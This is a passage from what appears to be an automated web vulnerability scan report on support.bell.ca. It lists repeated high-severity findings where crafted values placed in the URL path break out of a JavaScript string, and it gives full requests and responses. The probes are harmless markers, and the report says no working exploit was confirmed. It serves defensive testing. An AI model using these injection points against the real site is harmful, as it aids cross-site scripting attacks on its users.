Set-Cookie: gemini=region=ON|language=en|province=ON; domain=.bell.ca; expires=Tue, 22-Feb-2011 15:21:03 GMT; path=/
Set-Cookie: gemini=region=ON|language=en|province=ON; domain=.bell.ca; expires=Tue, 22-Feb-2011 15:21:03 GMT; path=/
X-Powered-By: ASP.NET
MicrosoftSharePointTeamServices: 12.0.0.6529
Connection: close


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html lang="en">


<head >
<meta name="product" content=""></meta>
<meta name="products"
...[SNIP]...
type="text/javascript">
function CurrentPageToPDF(){
window.location= '/Pages/ConvertToPDF.aspx?urlToPDF=/pages/how_to_use_my_mobile_phone_in_the_united_states&prov=ON&lang=en&originalURL=/en-oncfebd';a0a83ff3cf8/Mobility/Network_coverage/How_to_use_my_mobile_phone_in_the_United_States';


}
function PrintArticlePagePopup(){
day = new Date();
id = day.getTime();
eval("page" +
...[SNIP]...

2.304. http://support.bell.ca/en-on/Mobility/Network_coverage/How_to_use_my_mobile_phone_while_travelling_abroad [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://support.bell.ca
Path:   /en-on/Mobility/Network_coverage/How_to_use_my_mobile_phone_while_travelling_abroad

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 41582'%3be1bf9246593 was submitted in the REST URL parameter 1. This input was echoed as 41582';e1bf9246593 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /en-on41582'%3be1bf9246593/Mobility/Network_coverage/How_to_use_my_mobile_phone_while_travelling_abroad HTTP/1.1
Host: support.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: gemini=region=ON|language=en|province=ON; BellTVservices=BELL_TV; BSCC=KCArticlePageSize=10;

Response

HTTP/1.1 200 OK
Content-Length: 89812
Expires: Tue, 09 Nov 2010 15:21:56 GMT
Date: Wed, 24 Nov 2010 15:21:56 GMT
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
Cache-Control: private, max-age=0
Last-Modified: Wed, 10 Nov 2010 19:23:08 GMT
X-AspNet-Version: 2.0.50727
lastModifiedValue: Wed, 10 Nov 2010 19:23:08 GMT
Set-Cookie: gemini=region=ON|language=en|province=ON; domain=.bell.ca; expires=Tue, 22-Feb-2011 15:21:56 GMT; path=/
Set-Cookie: gemini=region=ON|language=en|province=ON; domain=.bell.ca; expires=Tue, 22-Feb-2011 15:21:56 GMT; path=/
X-Powered-By: ASP.NET
MicrosoftSharePointTeamServices: 12.0.0.6529
Connection: close


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html lang="en">


<head >
<meta name="product" content=""></meta>
<meta name="products"
...[SNIP]...
e="text/javascript">
function CurrentPageToPDF(){
window.location= '/Pages/ConvertToPDF.aspx?urlToPDF=/pages/how_to_use_my_mobile_phone_while_travelling_abroad&prov=ON&lang=en&originalURL=/en-on41582';e1bf9246593/Mobility/Network_coverage/How_to_use_my_mobile_phone_while_travelling_abroad';


}
function PrintArticlePagePopup(){
day = new Date();
id = day.getTime();
eval("page"
...[SNIP]...

2.305. http://support.bell.ca/en-on/Mobility/Rate_plans_features/How_to_use_Message_Centre [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://support.bell.ca
Path:   /en-on/Mobility/Rate_plans_features/How_to_use_Message_Centre

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload b3860'%3bd60a77f7d38 was submitted in the REST URL parameter 1. This input was echoed as b3860';d60a77f7d38 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /en-onb3860'%3bd60a77f7d38/Mobility/Rate_plans_features/How_to_use_Message_Centre HTTP/1.1
Host: support.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: gemini=region=ON|language=en|province=ON; BellTVservices=BELL_TV; BSCC=KCArticlePageSize=10;

Response

HTTP/1.1 200 OK
Content-Length: 88989
Expires: Tue, 09 Nov 2010 15:21:57 GMT
Date: Wed, 24 Nov 2010 15:21:57 GMT
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
Cache-Control: private, max-age=0
Last-Modified: Wed, 17 Nov 2010 15:51:35 GMT
X-AspNet-Version: 2.0.50727
lastModifiedValue: Wed, 17 Nov 2010 15:51:35 GMT
Set-Cookie: gemini=region=ON|language=en|province=ON; domain=.bell.ca; expires=Tue, 22-Feb-2011 15:21:57 GMT; path=/
Set-Cookie: gemini=region=ON|language=en|province=ON; domain=.bell.ca; expires=Tue, 22-Feb-2011 15:21:57 GMT; path=/
X-Powered-By: ASP.NET
MicrosoftSharePointTeamServices: 12.0.0.6529
Connection: close


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html lang="en">


<head >
<meta name="product" content=""></meta>
<meta name="products"
...[SNIP]...
language="javascript" type="text/javascript">
function CurrentPageToPDF(){
window.location= '/Pages/ConvertToPDF.aspx?urlToPDF=/pages/how_to_use_message_centre&prov=ON&lang=en&originalURL=/en-onb3860';d60a77f7d38/Mobility/Rate_plans_features/How_to_use_Message_Centre';


}
function PrintArticlePagePopup(){
day = new Date();
id = day.getTime();
eval("page" + id + " = window.ope
...[SNIP]...

2.306. http://support.bell.ca/en-on/Mobility/Self_Serve_options/How_to_pay_my_mobile_phone_bill [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://support.bell.ca
Path:   /en-on/Mobility/Self_Serve_options/How_to_pay_my_mobile_phone_bill

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload b2b26'%3bdc5ac560698 was submitted in the REST URL parameter 1. This input was echoed as b2b26';dc5ac560698 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /en-onb2b26'%3bdc5ac560698/Mobility/Self_Serve_options/How_to_pay_my_mobile_phone_bill HTTP/1.1
Host: support.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: gemini=region=ON|language=en|province=ON; BellTVservices=BELL_TV; BSCC=KCArticlePageSize=10;

Response

HTTP/1.1 200 OK
Content-Length: 85675
Expires: Tue, 09 Nov 2010 15:21:56 GMT
Date: Wed, 24 Nov 2010 15:21:57 GMT
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
Cache-Control: private, max-age=0
Last-Modified: Thu, 21 Oct 2010 13:36:16 GMT
X-AspNet-Version: 2.0.50727
lastModifiedValue: Thu, 21 Oct 2010 13:36:16 GMT
Set-Cookie: gemini=region=ON|language=en|province=ON; domain=.bell.ca; expires=Tue, 22-Feb-2011 15:21:56 GMT; path=/
Set-Cookie: gemini=region=ON|language=en|province=ON; domain=.bell.ca; expires=Tue, 22-Feb-2011 15:21:56 GMT; path=/
X-Powered-By: ASP.NET
MicrosoftSharePointTeamServices: 12.0.0.6529
Connection: close


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html lang="en">


<head >
<meta name="product" content=""></meta>
<meta name="products"
...[SNIP]...
ge="javascript" type="text/javascript">
function CurrentPageToPDF(){
window.location= '/Pages/ConvertToPDF.aspx?urlToPDF=/pages/how_to_pay_my_mobile_phone_bill&prov=ON&lang=en&originalURL=/en-onb2b26';dc5ac560698/Mobility/Self_Serve_options/How_to_pay_my_mobile_phone_bill';


}
function PrintArticlePagePopup(){
day = new Date();
id = day.getTime();
eval("page" + id + " = windo
...[SNIP]...

2.307. http://support.bell.ca/en-on/Mobility/Smartphones_and_mobile_internet/How_to_configure_a_mobile_phone_or_smartphone_for_the_Bell_Mobility_HSPA_network [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://support.bell.ca
Path:   /en-on/Mobility/Smartphones_and_mobile_internet/How_to_configure_a_mobile_phone_or_smartphone_for_the_Bell_Mobility_HSPA_network

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 635cb'%3b700f6cc4bb1 was submitted in the REST URL parameter 1. This input was echoed as 635cb';700f6cc4bb1 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /en-on635cb'%3b700f6cc4bb1/Mobility/Smartphones_and_mobile_internet/How_to_configure_a_mobile_phone_or_smartphone_for_the_Bell_Mobility_HSPA_network HTTP/1.1
Host: support.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: gemini=region=ON|language=en|province=ON; BellTVservices=BELL_TV; BSCC=KCArticlePageSize=10;

Response

HTTP/1.1 200 OK
Content-Length: 96221
Expires: Tue, 09 Nov 2010 15:21:57 GMT
Date: Wed, 24 Nov 2010 15:21:57 GMT
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
Cache-Control: private, max-age=0
Last-Modified: Thu, 18 Nov 2010 22:33:17 GMT
X-AspNet-Version: 2.0.50727
lastModifiedValue: Thu, 18 Nov 2010 22:33:17 GMT
Set-Cookie: gemini=region=ON|language=en|province=ON; domain=.bell.ca; expires=Tue, 22-Feb-2011 15:21:57 GMT; path=/
Set-Cookie: gemini=region=ON|language=en|province=ON; domain=.bell.ca; expires=Tue, 22-Feb-2011 15:21:57 GMT; path=/
X-Powered-By: ASP.NET
MicrosoftSharePointTeamServices: 12.0.0.6529
Connection: close


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html lang="en">


<head >
<meta name="product" content=""></meta>
<meta name="products"
...[SNIP]...
CurrentPageToPDF(){
window.location= '/Pages/ConvertToPDF.aspx?urlToPDF=/pages/how_to_configure_a_mobile_phone_or_smartphone_for_the_bell_mobility_hspa_network&prov=ON&lang=en&originalURL=/en-on635cb';700f6cc4bb1/Mobility/Smartphones_and_mobile_internet/How_to_configure_a_mobile_phone_or_smartphone_for_the_Bell_Mobility_HSPA_network';


}
function PrintArticlePagePopup(){
day = new
...[SNIP]...

2.308. http://support.bell.ca/en-on/Mobility/Smartphones_and_mobile_internet/How_to_conserve_battery_power_on_my_BlackBerry_smartphone [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://support.bell.ca
Path:   /en-on/Mobility/Smartphones_and_mobile_internet/How_to_conserve_battery_power_on_my_BlackBerry_smartphone

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 4e687'%3b24604bf1229 was submitted in the REST URL parameter 1. This input was echoed as 4e687';24604bf1229 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /en-on4e687'%3b24604bf1229/Mobility/Smartphones_and_mobile_internet/How_to_conserve_battery_power_on_my_BlackBerry_smartphone HTTP/1.1
Host: support.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Referer: http://support.bell.ca/en-on/Mobility/Smartphones_and_mobile_internet/
Cookie: gemini=region=ON|language=en|province=ON; BellTVservices=BELL_TV; BSCC=KCArticlePageSize=10;

Response

HTTP/1.1 200 OK
Content-Length: 90720
Expires: Tue, 09 Nov 2010 22:58:10 GMT
Date: Wed, 24 Nov 2010 22:58:10 GMT
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
Cache-Control: private, max-age=0
Last-Modified: Fri, 12 Nov 2010 19:41:08 GMT
X-AspNet-Version: 2.0.50727
lastModifiedValue: Fri, 12 Nov 2010 19:41:08 GMT
Set-Cookie: gemini=region=ON|language=en|province=ON; domain=.bell.ca; expires=Tue, 22-Feb-2011 22:58:10 GMT; path=/
Set-Cookie: gemini=region=ON|language=en|province=ON; domain=.bell.ca; expires=Tue, 22-Feb-2011 22:58:10 GMT; path=/
X-Powered-By: ASP.NET
MicrosoftSharePointTeamServices: 12.0.0.6529
Connection: close


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html lang="en">


<head >
<meta name="product" content=""></meta>
<meta name="products"
...[SNIP]...
/javascript">
function CurrentPageToPDF(){
window.location= '/Pages/ConvertToPDF.aspx?urlToPDF=/pages/how_to_conserve_battery_power_on_my_blackberry_smartphone&prov=ON&lang=en&originalURL=/en-on4e687';24604bf1229/Mobility/Smartphones_and_mobile_internet/How_to_conserve_battery_power_on_my_BlackBerry_smartphone';


}
function PrintArticlePagePopup(){
day = new Date();
id = day.get
...[SNIP]...

2.309. http://support.bell.ca/en-on/Mobility/Smartphones_and_mobile_internet/How_to_free_up_memory_on_my_BlackBerry_smartphone [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://support.bell.ca
Path:   /en-on/Mobility/Smartphones_and_mobile_internet/How_to_free_up_memory_on_my_BlackBerry_smartphone

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 9a42b'%3bc8fb82dddf7 was submitted in the REST URL parameter 1. This input was echoed as 9a42b';c8fb82dddf7 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /en-on9a42b'%3bc8fb82dddf7/Mobility/Smartphones_and_mobile_internet/How_to_free_up_memory_on_my_BlackBerry_smartphone HTTP/1.1
Host: support.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Referer: http://support.bell.ca/en-on/Mobility/Smartphones_and_mobile_internet/
Cookie: gemini=region=ON|language=en|province=ON; BellTVservices=BELL_TV; BSCC=KCArticlePageSize=10;

Response

HTTP/1.1 200 OK
Content-Length: 87539
Expires: Tue, 09 Nov 2010 22:58:10 GMT
Date: Wed, 24 Nov 2010 22:58:11 GMT
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
Cache-Control: private, max-age=0
Last-Modified: Wed, 24 Nov 2010 17:19:07 GMT
X-AspNet-Version: 2.0.50727
lastModifiedValue: Wed, 24 Nov 2010 17:19:07 GMT
Set-Cookie: gemini=region=ON|language=en|province=ON; domain=.bell.ca; expires=Tue, 22-Feb-2011 22:58:10 GMT; path=/
Set-Cookie: gemini=region=ON|language=en|province=ON; domain=.bell.ca; expires=Tue, 22-Feb-2011 22:58:10 GMT; path=/
X-Powered-By: ASP.NET
MicrosoftSharePointTeamServices: 12.0.0.6529
Connection: close


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html lang="en">


<head >
<meta name="product" content=""></meta>
<meta name="products"
...[SNIP]...
pe="text/javascript">
function CurrentPageToPDF(){
window.location= '/Pages/ConvertToPDF.aspx?urlToPDF=/pages/how_to_free_up_memory_on_my_blackberry_smartphone&prov=ON&lang=en&originalURL=/en-on9a42b';c8fb82dddf7/Mobility/Smartphones_and_mobile_internet/How_to_free_up_memory_on_my_BlackBerry_smartphone';


}
function PrintArticlePagePopup(){
day = new Date();
id = day.getTime();

...[SNIP]...

2.310. http://support.bell.ca/en-on/Mobility/Smartphones_and_mobile_internet/How_to_install_and_use_my_Turbo_Stick [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://support.bell.ca
Path:   /en-on/Mobility/Smartphones_and_mobile_internet/How_to_install_and_use_my_Turbo_Stick

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload b6b14'%3beca6008dfc9 was submitted in the REST URL parameter 1. This input was echoed as b6b14';eca6008dfc9 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /en-onb6b14'%3beca6008dfc9/Mobility/Smartphones_and_mobile_internet/How_to_install_and_use_my_Turbo_Stick HTTP/1.1
Host: support.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Referer: http://support.bell.ca/en-on/Mobility/Smartphones_and_mobile_internet/
Cookie: gemini=region=ON|language=en|province=ON; BellTVservices=BELL_TV; BSCC=KCArticlePageSize=10;

Response

HTTP/1.1 200 OK
Content-Length: 88287
Expires: Tue, 09 Nov 2010 22:58:11 GMT
Date: Wed, 24 Nov 2010 22:58:10 GMT
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
Cache-Control: private, max-age=0
Last-Modified: Fri, 12 Nov 2010 20:30:02 GMT
X-AspNet-Version: 2.0.50727
lastModifiedValue: Fri, 12 Nov 2010 20:30:02 GMT
Set-Cookie: gemini=region=ON|language=en|province=ON; domain=.bell.ca; expires=Tue, 22-Feb-2011 22:58:11 GMT; path=/
Set-Cookie: gemini=region=ON|language=en|province=ON; domain=.bell.ca; expires=Tue, 22-Feb-2011 22:58:11 GMT; path=/
X-Powered-By: ASP.NET
MicrosoftSharePointTeamServices: 12.0.0.6529
Connection: close


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html lang="en">


<head >
<meta name="product" content=""></meta>
<meta name="products"
...[SNIP]...
vascript" type="text/javascript">
function CurrentPageToPDF(){
window.location= '/Pages/ConvertToPDF.aspx?urlToPDF=/pages/how_to_install_and_use_my_turbo_stick&prov=ON&lang=en&originalURL=/en-onb6b14';eca6008dfc9/Mobility/Smartphones_and_mobile_internet/How_to_install_and_use_my_Turbo_Stick';


}
function PrintArticlePagePopup(){
day = new Date();
id = day.getTime();
eval("pag
...[SNIP]...

2.311. http://support.bell.ca/en-on/Mobility/Smartphones_and_mobile_internet/How_to_update_my_BlackBerry_software_using_Desktop_Manager [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://support.bell.ca
Path:   /en-on/Mobility/Smartphones_and_mobile_internet/How_to_update_my_BlackBerry_software_using_Desktop_Manager

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 20802'%3b17fb7760987 was submitted in the REST URL parameter 1. This input was echoed as 20802';17fb7760987 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /en-on20802'%3b17fb7760987/Mobility/Smartphones_and_mobile_internet/How_to_update_my_BlackBerry_software_using_Desktop_Manager HTTP/1.1
Host: support.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Referer: http://support.bell.ca/en-on/Mobility/Smartphones_and_mobile_internet/
Cookie: gemini=region=ON|language=en|province=ON; BellTVservices=BELL_TV; BSCC=KCArticlePageSize=10;

Response

HTTP/1.1 200 OK
Content-Length: 89489
Expires: Tue, 09 Nov 2010 22:58:11 GMT
Date: Wed, 24 Nov 2010 22:58:11 GMT
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
Cache-Control: private, max-age=0
Last-Modified: Wed, 24 Nov 2010 17:23:54 GMT
X-AspNet-Version: 2.0.50727
lastModifiedValue: Wed, 24 Nov 2010 17:23:54 GMT
Set-Cookie: gemini=region=ON|language=en|province=ON; domain=.bell.ca; expires=Tue, 22-Feb-2011 22:58:11 GMT; path=/
Set-Cookie: gemini=region=ON|language=en|province=ON; domain=.bell.ca; expires=Tue, 22-Feb-2011 22:58:11 GMT; path=/
X-Powered-By: ASP.NET
MicrosoftSharePointTeamServices: 12.0.0.6529
Connection: close


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html lang="en">


<head >
<meta name="product" content=""></meta>
<meta name="products"
...[SNIP]...
javascript">
function CurrentPageToPDF(){
window.location= '/Pages/ConvertToPDF.aspx?urlToPDF=/pages/how_to_update_my_blackberry_software_using_desktop_manager&prov=ON&lang=en&originalURL=/en-on20802';17fb7760987/Mobility/Smartphones_and_mobile_internet/How_to_update_my_BlackBerry_software_using_Desktop_Manager';


}
function PrintArticlePagePopup(){
day = new Date();
id = day.ge
...[SNIP]...

2.312. http://support.bell.ca/en-on/Mobility/Smartphones_and_mobile_internet/I_m_not_able_to_send_email_on_my_BlackBerry_smartphone [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://support.bell.ca
Path:   /en-on/Mobility/Smartphones_and_mobile_internet/I_m_not_able_to_send_email_on_my_BlackBerry_smartphone

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 14562'%3b73d95834f16 was submitted in the REST URL parameter 1. This input was echoed as 14562';73d95834f16 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /en-on14562'%3b73d95834f16/Mobility/Smartphones_and_mobile_internet/I_m_not_able_to_send_email_on_my_BlackBerry_smartphone HTTP/1.1
Host: support.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Referer: http://support.bell.ca/en-on/Mobility/Rate_plans_features/
Cookie: gemini=region=ON|language=en|province=ON; BellTVservices=BELL_TV; BSCC=KCArticlePageSize=10;

Response

HTTP/1.1 200 OK
Content-Length: 91575
Expires: Tue, 09 Nov 2010 22:58:15 GMT
Date: Wed, 24 Nov 2010 22:58:15 GMT
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
Cache-Control: private, max-age=0
Last-Modified: Mon, 15 Nov 2010 19:38:58 GMT
X-AspNet-Version: 2.0.50727
lastModifiedValue: Mon, 15 Nov 2010 19:38:58 GMT
Set-Cookie: gemini=region=ON|language=en|province=ON; domain=.bell.ca; expires=Tue, 22-Feb-2011 22:58:15 GMT; path=/
Set-Cookie: gemini=region=ON|language=en|province=ON; domain=.bell.ca; expires=Tue, 22-Feb-2011 22:58:15 GMT; path=/
X-Powered-By: ASP.NET
MicrosoftSharePointTeamServices: 12.0.0.6529
Connection: close


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html lang="en">


<head >
<meta name="product" content=""></meta>
<meta name="products"
...[SNIP]...
ext/javascript">
function CurrentPageToPDF(){
window.location= '/Pages/ConvertToPDF.aspx?urlToPDF=/pages/i_m_not_able_to_send_email_on_my_blackberry_smartphone&prov=ON&lang=en&originalURL=/en-on14562';73d95834f16/Mobility/Smartphones_and_mobile_internet/I_m_not_able_to_send_email_on_my_BlackBerry_smartphone';


}
function PrintArticlePagePopup(){
day = new Date();
id = day.getTim
...[SNIP]...

2.313. http://support.bell.ca/en-on/Mobility/Smartphones_and_mobile_internet/What_can_I_do_with_my_old_mobile_phone [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://support.bell.ca
Path:   /en-on/Mobility/Smartphones_and_mobile_internet/What_can_I_do_with_my_old_mobile_phone

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 67e4e'%3b38079aa1ce1 was submitted in the REST URL parameter 1. This input was echoed as 67e4e';38079aa1ce1 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /en-on67e4e'%3b38079aa1ce1/Mobility/Smartphones_and_mobile_internet/What_can_I_do_with_my_old_mobile_phone HTTP/1.1
Host: support.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Referer: http://support.bell.ca/en-on/Mobility/Smartphones_and_mobile_internet/
Cookie: gemini=region=ON|language=en|province=ON; BellTVservices=BELL_TV; BSCC=KCArticlePageSize=10;

Response

HTTP/1.1 200 OK
Content-Length: 89648
Expires: Tue, 09 Nov 2010 22:58:07 GMT
Date: Wed, 24 Nov 2010 22:58:07 GMT
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
Cache-Control: private, max-age=0
Last-Modified: Fri, 08 Oct 2010 20:13:36 GMT
X-AspNet-Version: 2.0.50727
lastModifiedValue: Fri, 08 Oct 2010 20:13:36 GMT
Set-Cookie: gemini=region=ON|language=en|province=ON; domain=.bell.ca; expires=Tue, 22-Feb-2011 22:58:07 GMT; path=/
Set-Cookie: gemini=region=ON|language=en|province=ON; domain=.bell.ca; expires=Tue, 22-Feb-2011 22:58:07 GMT; path=/
X-Powered-By: ASP.NET
MicrosoftSharePointTeamServices: 12.0.0.6529
Connection: close


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html lang="en">


<head >
<meta name="product" content=""></meta>
<meta name="products"
...[SNIP]...
ascript" type="text/javascript">
function CurrentPageToPDF(){
window.location= '/Pages/ConvertToPDF.aspx?urlToPDF=/pages/what_can_i_do_with_my_old_mobile_phone&prov=ON&lang=en&originalURL=/en-on67e4e';38079aa1ce1/Mobility/Smartphones_and_mobile_internet/What_can_I_do_with_my_old_mobile_phone';


}
function PrintArticlePagePopup(){
day = new Date();
id = day.getTime();
eval("pa
...[SNIP]...

2.314. http://support.bell.ca/en-on/TV/What_is_Bell_Install [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://support.bell.ca
Path:   /en-on/TV/What_is_Bell_Install

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload b661b'%3b4b505a4d157 was submitted in the REST URL parameter 1. This input was echoed as b661b';4b505a4d157 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /en-onb661b'%3b4b505a4d157/TV/What_is_Bell_Install HTTP/1.1
Host: support.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: gemini=region=ON|language=en|province=ON; BellTVservices=BELL_TV; BSCC=KCArticlePageSize=10;

Response

HTTP/1.1 200 OK
Content-Length: 85309
